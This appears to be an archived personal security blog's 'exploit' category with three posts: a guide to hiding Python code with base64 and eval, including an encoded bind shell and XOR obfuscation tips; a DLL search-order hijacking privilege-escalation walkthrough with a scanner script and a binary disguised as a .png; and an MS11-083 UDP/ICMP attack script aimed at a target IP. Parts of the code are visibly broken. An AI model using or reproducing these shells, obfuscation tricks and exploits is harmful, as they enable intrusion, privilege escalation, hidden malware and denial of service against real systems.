______ Y ______

My own personal time capsule.

Category Archives: exploit

Hide your code – nice & easy

Looking for a simple and easy way to hide your python code ? just use ‘eval’ and ‘compile’ functions. Here is how:

1) Code something

2) Encode it with base64

3) Append the code with ‘eval’ and ‘compile’ functions. It will then look like this:

import base64; eval(compile("<your base64>",'<string>','exec'))

Example (contains simple bindshell on port 2012 with password ‘passwd’):

import base64; eval(compile("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMi42CnByaW50ICJbK10gRmFuY3kgQmluZCBTaGVsbCBieSBZIgpwcmludCAiWytdIFdpbGwgYmluZCB5b3UgYSBzaGVsbCBvbiBnaXZlbiBwb3J0IHJlZ2FyZGxlc3Mgb2YgdGhlIE9TIgpwcmludCAiWytdIGNvbnRhY3QgOiBJZiB5b3Uga25vdyBtZSB0aGVuIGdpdmUgbWUgYSBzaG91dCIKcHJpbnQgIlsrXSB1c2FnZTogLi9iaW5kc2hlbGwucHkiCnByaW50ICJcbiIKCgppbXBvcnQgaGFzaGxpYixvcwpmcm9tIHB0eSBpbXBvcnQgc3Bhd24sIGZvcmsKZnJvbSBzb2NrZXQgaW1wb3J0ICoKCnBhc3N3ICA9ICJwYXNzdyIKYmkgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSkgIyBUQ1Agc29ja2V0CnBvcnQgID0gMjAxMgpkaWUgICA9IEZhbHNlICMgZG9uJ3QgbGV0IGl0IGRpZQoKaWYgb3MuZm9yaygpOgogICAgdHJ5OgogICAgICAgIGJpLmJpbmQoKCIxMjcuMC4wLjEiLHBvcnQpKQogICAgICAgIGJpLmxpc3RlbigxMCkjYmFja2xvZyB0byAxMCAgIAogICAgZXhjZXB0OgogICAgICAgIHByaW50ICJbLV0gb3V0IG9mIGx1Y2sgLSBwaWQ6ICVkIiAlIG9zLmdldHBpZCgpCmVsc2U6CiAgICBwcmludCAiWytdIGJpbiBpcyBsaXN0ZW5pbmcgb24gcG9ydCAlZCB3aXRoIHBpZCAlZCIgJSAocG9ydCxvcy5nZXRwaWQoKSkKICAgIAp3aGlsZSBUcnVlOgogICAgIyBsaXN0ZW4gYW5kIGFjY2VwdAogICAgc29jaywgcmVtb3RlID0gYmkuYWNjZXB0KCkKICAgICMga2VlcCBmb3JraW5nCiAgICBpZiBvcy5mb3JrKCk6IAogICAgICAgIGNvbnRpbnVlCiAgICBwaWQsIGNoaWxkSUQgPSBmb3JrKCkKICAgICMga2VlcCBmb3JraW5nIGVhY2ggcmVxdWVzdAogICAgaWYgcGlkICE9IDA6CiAgICAgICAgZGF0ID0iWy1dIEF1dGgiCiAgICAgICAgYmkuc2VuZChkYXQpCiAgICAgICAgcGEgPSBiaS5yZWN2KDEwMjQpCiAgICAgICAgcHJpbnQgcGEKICAgICAgICBpZiBoYXNobGliLm1kNShwYSkuaGV4ZGlnZXN0KCkubG93ZXIoKSA9PSBoYXNobGliLm1kNShzdHIocGFzc3cpKS5oZXhkaWdlc3QoKS5sb3dlcigpOgogICAgICAgICAgICBwYTIgPSBiaS5yZWN2KDEwMjQpCiAgICAgICAgICAgIHNwYXduKHBhMikKICAgICAgICBlbHNlOgogICAgICAgICAgICBkYXQgPSJbLV0gR3Vlc3MgQWdhaW4iCiAgICAgICAgICAgIGJpLnNlbmQoZGF0KQpiaS5jbG9zZSgp",'<string>','exec'))

PS. Bonus points – use multiple base64 encoders with functions such as XOR to further obfuscate your code. Here is one of the examples on how do do it:

xs = "your base64" # base64 encoded text
yy = "your key" # xor key
s = "".join(chr(ord(x) ^ ord(y)) for x, y in zip(xs, yy))
print base64.b64encode(s)

DLL Alghoritm Hijack Privilage Escalation

So lately I’ve heard a lot about how you can use the DLL search algorithm to hijack the library during the loading time (KB2269637) and execute your own code. I found this to be rather curious way to exploit the system as in simple terms we can just replace one of the libraries listed by this script to execute our own code. Simple yet very effective ;D

Here is how the exploitation can happen:
1) Login onto the box
2) Find the DLL’s outside of the MS protection zone (check this for some details)
3) Replace the DLL with your version with i.e. remote connection shell stored in the same folder as the executable we want to attack
4) Wait for the execution via user interaction or execute the program yourself if you got sufficient rights
5) Enjoy the shell

Here is the binary distribution (of course remove .png from file name ending and do wget on the following link) :
https://waitfordebug.wordpress.com/wp-content/uploads/2012/12/windows-dll-search-privesc-zip.png

Here is the sourcecode:


print "[+] DLL Search Algorithm Privesc Check by Y"
print "[+] contact : If you know me then give me a shout"
print "\n"

### Imports
import win32com.client
import sys
from ctypes import *
from ctypes.wintypes import *
import sys
import os
from optparse import OptionParser

### Define System DLL's
kernel32 = windll.kernel32
advapi32 = windll.advapi32


class TOKEN_PRIVS(Structure):
    _fields_ = (
        ("PrivilegeCount",    ULONG),
        ("Privileges",        ULONG * 3)
    )
    
    
def getDrives():
    print "[+] Enumerating current partitions"
    drivebits=k.GetLogicalDrives()
    partition_list = list_unsafecalls()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                partition_list.append(drive_letter)
                print "\t[+]Found drive: %s" % drive_letter
    return partition_list

def get_debug_privs():
        try:
            print "[+] Danger Will Robinson, We are elevating ourself to god level!"
            token = HANDLE()
            advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), 0x00000020, byref(token))
            privs = TOKEN_PRIVS()
            privs.PrivilegeCount = 1
            privs.Privileges = (0x14, 0, 2) 
            advapi32.AdjustTokenPrivileges(token, 0, byref(privs), 0, 0, 0)
            print "\t [+] Privilege Adjusted Successfully"
            kernel32.CloseHandle(token)   
        except:
            print "\t [-]Unable to elevate. Exiting ..."  
            sys.exit()


def get_win32_product():
    try:
        objWMIService = win32com.client.Dispatch("WbemScripting.SWbemLocator")
        objSWbemServices = objWMIService.ConnectServer(".","root\cimv2")
        colItems = objSWbemServices.ExecQuery("Select * from Win32_Product")
        installed_soft = {}
        for objItem in colItems:
            installed_soft[objItem.Caption] = {'InstallLocation':objItem.InstallLocation,
                                           'InstallName':objItem.InstallSource,
                                           'InstallState':objItem.InstallState,
                                           'InstallSoftware':objItem.Caption,
                                           'InstallID':objItem.IdentifyingNumber,
                                           'InstallDate':objItem.InstallDate,
                                           'InstallLocalPackage':objItem.LocalPackage
                                           }

        print "\t[+] We Have The 'List'!"
        return installed_soft
    except:
        print "\t[-] Could not acquire software list"
        return None

def find_dlls_in_folder(location):
    list_dlls = []
    for folder in location:
        
        for dirname, dirnames, filenames in os.walk(folder):
            for dirfolder in dirnames:
                # we need to be able to write to the folder (inherited permissions)
                if os.access(os.path.join(dirname,folder),os.W_OK):
                    for nm in filenames:
                        if str(nm).lower().endswith(".dll"):
                            list_dlls.append(os.path.join(dirname, nm))
                else:
                    # Can't write to the folder = can't do anything
                    pass

    return list_dlls
              

def get_partitions():
    print "[+] The following partitions exists:"
    drivebits=kernel32.GetLogicalDrives()
    partition_list = list()
    for drives in range(1,26):
        mask=1 << drives
        if drivebits & mask:
                drive_letter='%c:\\' % chr(ord('A')+drives)
                # need only network and fixed drives
                if kernel32.GetDriveTypeA(drive_letter) == 3 or kernel32.GetDriveTypeA(drive_letter) == 4:
                    partition_list.append(drive_letter)
                    print "\t[+]Found static, readable drive: %s" % drive_letter
                else:
                    pass
    return partition_list

def find_all_dll():
    list_dlls = []
    partitions = get_partitions()
    print "[+] Searching for elevation points"
    for drive in partitions:
         for dirname, dirnames, filenames in os.walk(drive):
             for dirfolder in dirnames:
                 # we need to be able to write to the folder (inherited permissions)
                 if os.access(os.path.join(dirname,dirfolder),os.W_OK):
                     for nm in filenames:
                         if str(nm).lower().endswith(".dll"):
                              list_dlls.append(os.path.join(dirname, nm))
    return list_dlls
        
def find_vulnerable_in_system(system_dll):
    loc = []
    for location in system_dll:
         # The original author 'forgot' to mention that you can't write to program files or windows
         # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with.
         # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
        if not location.startswith(os.environ['ProgramFiles']):
            if not location.startswith(os.environ['windir']):
                loc.append(location)  
    return loc


def find_vulnerable(prod_list):
    loc = []
    for elems in prod_list.keys():
        location =  prod_list[elems].get('InstallLocation')
        if location != None:
            # The original author 'forgot' to mention that you can't write to program files or windows
            # because its protected resource so only admin can append resources in there! DLL's outside of the 'protection' zone are free to be played with.
            # Go and play with http://msdn.microsoft.com/en-us/library/bb762204%28VS.85%29.aspx and http://msdn.microsoft.com/en-us/library/bb762494%28v=vs.85%29.aspx
            if not location.startswith(os.environ['ProgramFiles']):
                if not location.startswith(os.environ['windir']):
                    loc.append(location)
                    
        else:
            # This will have to be checked, not all installs give you the list of locations
            pass
    return find_dlls_in_folder(loc)
    

  
  
def main():
    usage = """
    This script will find all of the DLL libraries which can be exploited to 
    perform DLL code injection. 

    Reference: KB2269637
    """
    
    parser = OptionParser(usage)
     
    parser.add_option("-s","--scan",action="store_true", dest="scann_flag",default=False,
                      help="Scan the file system for DLL's instead of querying WMI")
    (options, args) = parser.parse_args()
    
    if options.scann_flag == True:
        
        print "[+] Elevating first"
        # This is probably not necessary
        get_debug_privs()
        print "[+] Finding details"
        dll_list = find_all_dll()
        print "[+] Finding Vulnerable DLL Load Software"
        dll_list = find_vulnerable_in_system(dll_list)
        if dll_list != None:
            print "[+] List of vulnerable DLL's"
            for dlls in dll_list:
                if os.access(dlls,os.W_OK):
                    print "\t[+] " , dlls
    else:
        print "[+] Elevating first"
        # This is probably not necessary
        get_debug_privs()
        print "[+] Getting Software List"
        prod_list = get_win32_product() # Will have to rewrite this to be API-only based
        print "[+] Finding Vulnerable DLL Load Software"
        dll_list = find_vulnerable(prod_list)
        if dll_list != None:
            print "[+] List of vulnerable DLL's"
            for dlls in dll_list:
                if os.access(dlls,os.W_OK):
                    print "\t[+] " , dlls
        else:
            print "[+] No Vulnerable DDL's could be identified"
    
    print "[+] Done"
            
if __name__ == '__main__':
    main()
            

MS11-083 killer

Following code will attempt to exploit the MS11-083 by sending specially crafted packets to closed UDP port ( read more here).

import socket
import threading

try:
    from dpkt.ip import IP                            
    from dpkt.icmp import ICMP
except:
    print "install dpkt if you want this program to run!"


print "[+] MS11-083 killer by Y"
print "[+] contact : If you know me then give me a shout"

############ EDIT THIS #################
UDP_IP="192.168.93.15"
UDP_PORT=839
MESSAGE="\x44\x44\x44\x44\x44\x44\x44\x44\x44\x00\x00\x00\x00\x00\x00"
ThreadCount = 32
########################################

print " [+]UDP target IP:", UDP_IP
print " [+]UDP target port:", UDP_PORT
print " [+]UDP payload lenght:", len(MESSAGE)

def customPing(UDP_IP,repeat):
    # craft custom ping
    dataCC = "\xCC\xCC\xCC\xCC\xCC\xCC"
    ip = IP(src='\x01\x02\x03\x04', dst=UDP_IP, p=1)
    icmp = ICMP(type=8, data=ICMP.Echo(id=123, seq=1, data=dataCC))
    ip.data = icmp
    ip.len += len(ip.data)
    print "[+] Building socket for final ping"
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW)
    s.connect((UDP_IP, 1))
    # sending packet
    print "[+] Sending final ping ( debug trap ) "
    for x in range(10):
        s.send(str(ip))

try:
  print "\t[+] Running UDP attack against -> ", UDP_IP , "on port " , UDP_PORT 
  s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  s.setblocking(0) # set non-blocking mode
  class ThreadClass(threading.Thread):
      def run(self):
          c = 0
          while c<(4294967296/ThreadCount): # 2^32 requests to overflow the counter

              s.sendto( MESSAGE, (UDP_IP,UDP_PORT ))
          # trigger the actual attack via ICMP messages ( the payload can probably trigger command execution !?)
          print "[+] Triggering actual attack "
          customPing(UDP_IP,20)
         
  for i in range(ThreadCount):
      t = ThreadClass()
      t.start()
      print "[+] Thread ",i," is starting and its name is : " , t.getName()
      
except Exception,e:
   print " [-] Exception occured, reason : " , e

Note that this code is only for the educational purposes and I do not take the responsibility for any missuses.